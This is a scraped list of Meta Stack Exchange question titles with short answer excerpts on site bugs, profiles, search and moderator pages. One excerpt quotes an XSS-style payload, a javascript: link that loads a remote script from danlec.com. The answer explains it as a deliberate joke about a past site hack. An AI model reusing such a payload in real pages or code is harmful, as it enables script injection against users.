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What are the criteria for questions to be selected for Hot Network Questions?
Based on David Fullerton's answer, I've written a simple user script that adds a "hotness" indicator to the question infobar:
To use the script, you'll first need to install a user script ...
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Can't delete the filter called My Filter
Adding details in hopes of getting developer attention.
Reproducing the issue from a clean state.
I believe this may be how to reproduce this issue. I can't verify, because I'm already in the broken ...
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Strange bracket on the leagues page
a lone character)
trailing after a mere link
once was, is no more
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Icons of Meta.SE and Stack Apps have gone missing
So here's the deal. Our image path code sucks. It's bad. It's no one's fault, it's just the result of years of special cases and new use cases that never got a full rewrite of love they need. I know ...
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Hiding sites from the main StackExchange.com profile page?
This has been implemented. If you look at my network profile you'll discover my 3D Printing account is not listed. That is, unless you are a moderator, in which case, you should see:
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When did Stack Exchange debut?
Both are correct. Stack Overflow and Stack Exchange are two different websites.
Stack Overflow was launched in 2008 by Jeff Atwood and Joel Spolsky. Later, in 2009, Joel's company Glitch (then known ...
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/about/moderators is broken
Well this was fun to debug. I changed this recently from a ton of API calls to direct DB queries as part of a massive HTTP overhaul we're doing internally (moving internal traffic to HTTPS).
In the ...
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The new icon on the topbar on stackexchange.com doesn't have a dropdown menu
Oops. This dropdown has been removed from stackexchange.com now.
We're doing some reworking of how we handle user profiles on Teams and this WIP top bar change accidentally made its way to the Stack ...
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FAQ/Handbook: communication channels used by Stack Overflow/Stack Exchange
Stack Exchange interacts with the community via The Loop, a system whereby hand-picked individuals from a diverse range of backgrounds who are excited about the growth of Stack Overflow are given the ...
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Stack Exchange says flair is not available because I have less than 200 rep, but I do have more than 200
You have hidden your account with 200+ reputation. It wouldn't really be hidden if it appeared on your flair, would it? That used to be the case a while ago but they have fixed that bug.
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JavaScript error 'StackExchange.ready is not a function' when visiting stackexchange.com
That is not a bug Stack Exchange has to fix. They can't be held responsible to prevent bugs in scripts they don't own.
Instead report the bug to the creator and/or current maintainer here: ...
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How about doing something more with the "Today's Featured Site" thing?
I'd stick it right below the "Hot Network Questions" but only in homepage view of a site, not inside questions, so it won't be too much noise:
This way while browsing a site's questions ...
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The new icon on the topbar on stackexchange.com doesn't have a dropdown menu
Looks like it is still a work in progress that got deployed (accidentally?).
Inspecting the element, looks like it should display a pop-over menu (named popover-example) that contains 3 elements:
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stackexchange.com search is down
Thank you for the report, we've identified the culprit and have rolled back the change to restore search functionality.
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Is "arbitrarily awarded hotness points" meant as a joke?
Or is the idea that the selection algorithm itself (being man-made) is written in such a way that some people may find it unreasonable and arbitrary?
Yes, exactly that. The algorithm, or rather, ...
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Who is this user #0?
There were actually two users with a network account Id set to 0, both of them created at about the same time. I can only imagine that there was some short-lived glitch in the database back in 2019 ...
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Question still appears in my top network posts even after having it disassociated from my account
The underlying mechanic here was fixed a while ago, probably a couple of years. But it can only be fixed per-user manually when we know it needs to be fixed.
I've run the fix for you, and the question ...
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Why is there no Stack Overflow на Русском in the Top Network Sites list on stackexchange.com?
That list of sites is sorted according to what StackExchange.com considers to be the "default" sort. It's a value calculated per site that's a combination of total question and answer counts, answered ...
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The SE About page should be less Stack Overflow-focused: "The world’s largest programming community is growing"
I think this is an excellent idea.
Despite the validity of Glorfindel's counter(?)-argument(s), I think an edit would make sense.
I'm not a programmer. I program at times, but I signed up when I ...
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Criteria for subdomains for stackexchange.com sites
The main issue here is creating a new Q&A site - the subdomain is just an implementation detail.
The process for suggesting and creating a new site is done via Area 51, and explained pretty ...
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Let's make the automatic removal of salutations language specific!
The following list of words are now on the exclusion list:
Saludos
Hola
Queridos
Gracias
Estimados
Buen( o | a ) s
Que tal
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User reputation league site switcher doesn't show the selected site name
In the 6 to 8 weeks this takes to get fixed, you can use the following userscript that solves the bug:
// ==UserScript==
// @name set selected site
// @namespace https://meta.stackexchange....
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Links in Stack Exchange security website
The javascript:$.getScript("http://danlec.com/xss.js") is on purpose. That's how he "hacked" the site, so it's kind of pun/internal joke. Notice the link itself is fine; that's ...
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stackexchange.com search no longer working
Thanks for bringing this up. We indeed missed any communication from Google about this change, and so didn't notice it until you all brought it to our attention. We've updated the way we use Google ...
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Why is Stack Exchange logo written as StackExcha'r'ge?
There was a bug in old Firefox versions which caused certain parts of SVG to not show.
It's illustrated here pretty well.
Most likely that's the source of what you saw. Just use a modern updated ...
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Cross-site inbookmarks:mine search
It's possible (sort of) with a SEDE query, if you don't mind the results will be up-to-date up to last Sunday. Given that you're often searching for questions you bookmarked long ago, this shouldn't ...
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Reputation +n doesn't disappear from the achievements after reading it
Thanks for reporting this issue! I deployed a fix for this issue on SE.com. It should be fixed now. It's waiting to be deployed right now. The fix is deployed now :)
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Year of being elected as moderator missing in stackexchange.com/about/moderators
Marco Ceppi was already a ♦ moderator during the beta-phase of Ask Ubuntu, at least if I read the comments under his nomination correctly. Currently, that page only knows about elections on graduated ...
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How can I sort questions by date(s) on the all-Stack Exchange search results page?
If you do want some kind of sorting, you'll have to write a custom cross-site SQL query in the Stack Exchange Data Explorer (and accept the fact that it's updated only once a week, on Sunday morning). ...
GlorfindelMod
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I can't subscribe to tag on ru.stackoverflow.com
It was impossible to subscribe to any tag containing non-ASCII characters, not only for Russian. But it's fixed now:
Note however that you may need to create your subscription again to get it working....
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